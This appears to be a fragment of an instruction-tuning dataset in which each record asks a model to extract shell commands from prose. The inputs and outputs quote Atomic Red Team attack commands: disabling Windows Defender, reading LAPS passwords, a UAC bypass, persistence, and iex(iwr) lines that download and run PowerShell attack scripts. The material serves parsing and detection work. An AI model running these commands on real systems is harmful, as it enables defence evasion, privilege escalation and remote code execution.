    "output": "{\"command_list\": [\"& \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\AdFind.exe\\\" #{optional_args} -h #{domain} -s subtree -f \\\"objectclass=computer\\\" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable Windows Defender ATP's scheduled scanning and components, adversaries often try running these commands as System (they'll fail as administrator), which can serve as an indicator of malicious activity. The following commands will display 'Access Denied' twice and show the WinDefend service status: sc stop WinDefend\nsc config WinDefend start=disabled\nsc query WinDefend",
    "output": "{\"command_list\": [\"sc stop WinDefend\\nsc config WinDefend start=disabled\\nsc query WinDefend\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To overwrite and delete a file using DD, run the following command, and remember to stop the process with CTRL/CMD+C when needed: dd of=#{file_to_overwrite} if=#{overwrite_source} count=$(ls -l #{file_to_overwrite} | awk '{print $5}') iflag=count_bytes",
    "output": "{\"command_list\": [\"dd of=#{file_to_overwrite} if=#{overwrite_source} count=$(ls -l #{file_to_overwrite} | awk '{print $5}') iflag=count_bytes\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using reg.exe via the command prompt, you can disable Windows Defender notifications by executing this registry modification command: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\UX Configuration\" /v Notification_Suppress /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\UX Configuration\\\" /v Notification_Suppress /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique configures a .NET profiler to execute when CLR loads, bypassing UAC via Event Viewer's integrity level. Implement it with this command sequence:\nWrite-Host \"Creating registry keys in HKCU:Software\\Classes\\CLSID\\#{clsid_guid}\" -ForegroundColor Cyan\nNew-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\#{clsid_guid}\\InprocServer32\" -Value \"#{file_name}\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_ENABLE_PROFILING\" -PropertyType String -Value \"1\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER\" -PropertyType String -Value \"#{clsid_guid}\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\" -PropertyType String -Value \"#{file_name}\" -Force | Out-Null\nWrite-Host \"executing eventvwr.msc\" -ForegroundColor Cyan\nSTART MMC.EXE EVENTVWR.MSC\n",
    "output": "{\"command_list\": [\"Write-Host \\\"Creating registry keys in HKCU:Software\\\\Classes\\\\CLSID\\\\#{clsid_guid}\\\" -ForegroundColor Cyan\\nNew-Item -Path \\\"HKCU:\\\\Software\\\\Classes\\\\CLSID\\\\#{clsid_guid}\\\\InprocServer32\\\" -Value \\\"#{file_name}\\\" -Force | Out-Null\\nNew-ItemProperty -Path HKCU:\\\\Environment -Name \\\"COR_ENABLE_PROFILING\\\" -PropertyType String -Value \\\"1\\\" -Force | Out-Null\\nNew-ItemProperty -Path HKCU:\\\\Environment -Name \\\"COR_PROFILER\\\" -PropertyType String -Value \\\"#{clsid_guid}\\\" -Force | Out-Null\\nNew-ItemProperty -Path HKCU:\\\\Environment -Name \\\"COR_PROFILER_PATH\\\" -PropertyType String -Value \\\"#{file_name}\\\" -Force | Out-Null\\nWrite-Host \\\"executing eventvwr.msc\\\" -ForegroundColor Cyan\\nSTART MMC.EXE EVENTVWR.MSC\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test leverages a VBA macro to generate and run #{jse_path} via cscript.exe, which subsequently launches wscript.exe. The execution is managed using the following command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macrocode = \"   Open `\"#{jse_path}`\" For Output As #1`n   Write #1, `\"WScript.Quit`\"`n   Close #1`n   Shell`$ `\"cscript.exe #{jse_path}`\"`n\"\nInvoke-MalDoc -macroCode $macrocode -officeProduct \"#{ms_product}\"\n",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\n$macrocode = \\\"   Open `\\\"#{jse_path}`\\\" For Output As #1`n   Write #1, `\\\"WScript.Quit`\\\"`n   Close #1`n   Shell`$ `\\\"cscript.exe #{jse_path}`\\\"`n\\\"\\nInvoke-MalDoc -macroCode $macrocode -officeProduct \\\"#{ms_product}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Multiple enumeration commands will be performed to list all domain accounts, using the following commands that display results in the PowerShell session: net user /domain\nnet group /domain",
    "output": "{\"command_list\": [\"net user /domain\\nnet group /domain\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For gaining persistence by altering the Windows Terminal settings, execute this command sequence:\nmv #{settings_json_def} #{settings_json_tmp}\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.015/src/settings.json?raw=true\" -OutFile \"#{settings_json_def}\"\nwt.exe\n",
    "output": "{\"command_list\": [\"mv #{settings_json_def} #{settings_json_tmp}\\nInvoke-WebRequest \\\"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.015/src/settings.json?raw=true\\\" -OutFile \\\"#{settings_json_def}\\\"\\nwt.exe\\n\"]}"
  },
  {
